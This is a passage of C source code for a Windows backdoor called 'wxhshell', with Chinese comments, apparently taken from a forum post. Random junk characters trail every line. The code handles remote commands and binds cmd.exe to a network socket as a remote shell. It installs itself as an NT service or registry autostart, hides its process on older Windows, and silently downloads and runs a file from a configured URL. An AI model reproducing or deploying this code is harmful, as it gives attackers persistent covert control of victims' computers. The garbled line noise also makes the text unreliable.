    switch(cmd[0]) { &c[ISc>N{  
  Uv)B  
  // 帮助 7m$EZTw?  
  case '?': { Z1}@N/>>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iWGn4p'  
    break; o[^nmHrM2  
  } ~Vt?'v20@  
  // 安装 %fuV]  
  case 'i': { 3QI.|;X  
    if(Install()) Llf#g#T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'nIKkQ" N  
    else 3-/F]}0y6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H|)F-aL[  
    break; pJdR`A-k|  
    } ;IOM3'5 T@  
  // 卸载 B@j2^Dr~!  
  case 'r': { +lplQh@RB  
    if(Uninstall()) &M>o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vc%=V^)N7U  
    else gp+aUK~o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KPjC<9sby  
    break; u']}Z% A9`  
    } p!o-+@ava  
  // 显示 wxhshell 所在路径 {nPiIPH  
  case 'p': { v\lKY*@f  
    char svExeFile[MAX_PATH]; I:6H65(&  
    strcpy(svExeFile,"\n\r"); `O0bba=:=  
      strcat(svExeFile,ExeFile); i&TWIl8  
        send(wsh,svExeFile,strlen(svExeFile),0); cY^'Cj  
    break; b($9gre>mI  
    } QQ,V35Vp[  
  // 重启 + mPVI  
  case 'b': { 5pU/X.lc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6e>P!bo  
    if(Boot(REBOOT)) j=dGNi)R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x,NV{uG$n  
    else { 4 _P6P  
    closesocket(wsh);  "F=ta  
    ExitThread(0); 0Ke2%+yqJ  
    } mY[*(a  
    break; ,! H`@Kl  
    } D"msD"  
  // 关机 Q h{P>}  
  case 'd': { !^'6&NR#K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]f~!Qk!I7r  
    if(Boot(SHUTDOWN)) dv Vz#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <v6W l\  
    else { $[g#P^  
    closesocket(wsh); Te%V+l  
    ExitThread(0); F%f)oq`B  
    } _lDNYpv  
    break; |%oI,d=ycv  
    } :6:,s#av  
  // 获取shell $0gGRCCG;  
  case 's': { @_$Un&eo  
    CmdShell(wsh); .ah[!O  
    closesocket(wsh); |It&1fz}  
    ExitThread(0); ,8.$!Zia  
    break; >,ABE2t5  
  } [<|$If99\  
  // 退出 7|xu)zYB  
  case 'x': { WMa`! Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y P,>vzW  
    CloseIt(wsh); 6e S~*  
    break; LJ6L#es2  
    } ~/qBOeU3  
  // 离开 3 a|pk4M  
  case 'q': { h1H$3TpP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &hUEOif  
    closesocket(wsh); U[?f@.&  
    WSACleanup(); $>7T s>8  
    exit(1); )5NWUuH 5  
    break; ik](k"1{  
        } f/QwXO-U  
  } ^T#jBqe  
  } W&k@p9  
S17;;w0  
  // 提示信息 \Q^grX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0(>3L:  
} )HcLpoEi  
  } {+]tx46$  
W^7yh&@lU  
  return; jgiS/oW  
} - ~4na{6x  
$;&l{=e2)  
// shell模块句柄 D|amKW7  
int CmdShell(SOCKET sock) z9!OzGtIR  
{ /ykc`E?f  
STARTUPINFO si; -u7NBtgUh  
ZeroMemory(&si,sizeof(si)); qRR%aJ/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dBwoAq`'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +v~x_E5FP  
PROCESS_INFORMATION ProcessInfo; \H9:%Tlp~4  
char cmdline[]="cmd"; $Dd-2p   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -&Q+x,.%  
  return 0; artn _  
} dz^b(q  
+ MD84YR  
// 自身启动模式 p6aR/gFkqv  
int StartFromService(void) sH>`eqY  
{ puLgc$?  
typedef struct F v*QcB9K  
{ _%er,Ed  
  DWORD ExitStatus; SdN&%(ZE  
  DWORD PebBaseAddress; EDuH+/:n  
  DWORD AffinityMask; @q`T#vd  
  DWORD BasePriority; 5dhy80|g]  
  ULONG UniqueProcessId; oaZdvu@y  
  ULONG InheritedFromUniqueProcessId; C_'EO<w$  
}   PROCESS_BASIC_INFORMATION; E[7E%^:Mg  
 q(X7e  
PROCNTQSIP NtQueryInformationProcess; 1szObhN-l  
Z\]{{;%4b7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )&O6d .  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mna yiJl  
c%WO#}r|  
  HANDLE             hProcess; xXc>YTK'  
  PROCESS_BASIC_INFORMATION pbi; ?68~g<d,  
icX4n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MV??S{^4  
  if(NULL == hInst ) return 0; ~o/k?l  
SQhVdYU1'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7r50y>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yj@k0TWT$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6)p8BUft  
S>>wf:\ c  
  if (!NtQueryInformationProcess) return 0; wdAKU+tM  
}O>4XFj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4lWqQVx  
  if(!hProcess) return 0; 1C<d^D_!p  
AorY#oq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L N Fe7<y  
j"'a5;Sy  
  CloseHandle(hProcess); a5R. \a<q  
M PDRMGR@i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h _{f_GQ"  
if(hProcess==NULL) return 0; ]8fn1Hx\  
?wv^X`Q*~  
HMODULE hMod; ^EKRbPA9:<  
char procName[255]; qH5nw}]  
unsigned long cbNeeded; Jfk#E^1  
NJ+$3n om  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vy}_aD{B  
4I$Y"|_e  
  CloseHandle(hProcess); ;[UI ]?A%  
e[?,'Mp9  
if(strstr(procName,"services")) return 1; // 以服务启动 h]L.6G|hEN  
;ne`ppz0  
  return 0; // 注册表启动 k*n~&y:O  
} cc*?4C/t  
4].o:d;`/  
// 主模块 6dmb bgO)  
int StartWxhshell(LPSTR lpCmdLine) b_a k@LYiu  
{ 6r`N\ :18  
  SOCKET wsl; FZn1$_Svr  
BOOL val=TRUE;  ?ueL'4Mm  
  int port=0; sT"ICooc  
  struct sockaddr_in door; TIZ2'q5wg  
4r `I)  
  if(wscfg.ws_autoins) Install(); <8;~4"'a  
38T] qz[Sn  
port=atoi(lpCmdLine); l`N4P  
 ;}?ZH4.S  
if(port<=0) port=wscfg.ws_port; YPGzI]\  
dqJ 8lU?  
  WSADATA data; xEu rkR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u6F>o+Td)  
as]M%|/-I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Im\ ~x~{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z,$uIv}'@  
  door.sin_family = AF_INET; `,xO~_ e>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'G~i;o  2  
  door.sin_port = htons(port); -3mIdZ  
v@OELJX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (*P`  
closesocket(wsl); ;akW i]  
return 1; 3vcyes-U  
} Pg8boN]}  
km C0.\  
  if(listen(wsl,2) == INVALID_SOCKET) { ;l _b.z0^6  
closesocket(wsl); 6WQN !H8+^  
return 1; z[1uub,)1  
} :d9GkC  
  Wxhshell(wsl); ; M0`8MD  
  WSACleanup(); JZ`SV}\`  
f.uuXK  
return 0; bR) P-9rs  
u&1M(~Ub=  
} i8k} B o  
fMFkA(Of^  
// 以NT服务方式启动 &"JC8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^7/v[J<<  
{ S+~;PmN9qL  
DWORD   status = 0; x%r$/=  
  DWORD   specificError = 0xfffffff; (kB  
;$6L_C4B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .pWRV<25  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b#p0s?*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uP%VL}% 0  
  serviceStatus.dwWin32ExitCode     = 0; ed/B.SY  
  serviceStatus.dwServiceSpecificExitCode = 0; hBX.GFnw  
  serviceStatus.dwCheckPoint       = 0; gEsD7]o(=  
  serviceStatus.dwWaitHint       = 0; 8)eRm{  
U ->vk{v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); APF`b  
  if (hServiceStatusHandle==0) return; 8v2Wi.4T  
d;p3cW"  
status = GetLastError(); H @k }  
  if (status!=NO_ERROR) +58^{_k+%  
{ .<>t2,Af  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;"Qq/ knVL  
    serviceStatus.dwCheckPoint       = 0; _g/d/{-{Q  
    serviceStatus.dwWaitHint       = 0; >*gf1"  
    serviceStatus.dwWin32ExitCode     = status; SF*mY=1  
    serviceStatus.dwServiceSpecificExitCode = specificError; KTT!P 4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BM:p)%Pv#P  
    return; Y\_mq d  
  } l![79 eFp  
5I6?gv/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]^.`}Y=`g  
  serviceStatus.dwCheckPoint       = 0; mfI[9G  
  serviceStatus.dwWaitHint       = 0; ,&4 [`d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @H$am  
} GY-4w@Wl  
8aVQW_m}  
// 处理NT服务事件,比如:启动、停止 #aC&!Rei{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !p+rU?  
{ EeQ8Uxb7  
switch(fdwControl) y'8T=PqY[t  
{ \G v\&_  
case SERVICE_CONTROL_STOP: -u%o);B  
  serviceStatus.dwWin32ExitCode = 0; nt|n[-}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /];N1  
  serviceStatus.dwCheckPoint   = 0; 85io %>&0  
  serviceStatus.dwWaitHint     = 0; 9-m_ e=jk6  
  { /G7^l>pa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /_cpS q  
  } 2& Hl wpx  
  return; 6zU0 8z0-  
case SERVICE_CONTROL_PAUSE: rtvLLOIO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |>j^$^l~  
  break; ;WN% tI)  
case SERVICE_CONTROL_CONTINUE: Ja*,ht(5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >BO!jv!a  
  break; cp8w _TPU  
case SERVICE_CONTROL_INTERROGATE: tQ; Fgv8Y!  
  break; M_E$w$l2<  
}; adoK-bSt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \)\n5F:Zu  
} E5P.x^  
nY1PRX\  
// 标准应用程序主函数 xP1D 9   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aMydeTCHi  
{ ZT&[:>upR  
Uhh[le2 %  
// 获取操作系统版本 ;_< Yzl  
OsIsNt=GetOsVer(); 502(CO>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mXJG &EA  
gf9,/m  
  // 从命令行安装 4xs>X7  
  if(strpbrk(lpCmdLine,"iI")) Install(); }W " i{s/  
u];\v%b  
  // 下载执行文件 kH0kf-4\  
if(wscfg.ws_downexe) { X J]+F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2i6P<&@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^v;8 (eF  
} Gv)*[7  
T`v  
if(!OsIsNt) { hZ<FCY,/?  
// 如果时win9x,隐藏进程并且设置为注册表启动 %:l\Vhhz  
HideProc(); C&d,|e "\  
StartWxhshell(lpCmdLine); ,bzgjw+R5  
} 0[g5[?Vy  
else i0x[w>\-  
  if(StartFromService()) +BI%. A`2  
  // 以服务方式启动  5 YIk  
  StartServiceCtrlDispatcher(DispatchTable); <Vyl*a{%  
else  /*S6/#  
  // 普通方式启动 }FV_jJ  
  StartWxhshell(lpCmdLine); P1TTaYu  
'zt}\ Dt  
return 0; o~:({  
}
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只看该作者 1 发表于: 2006-10-10
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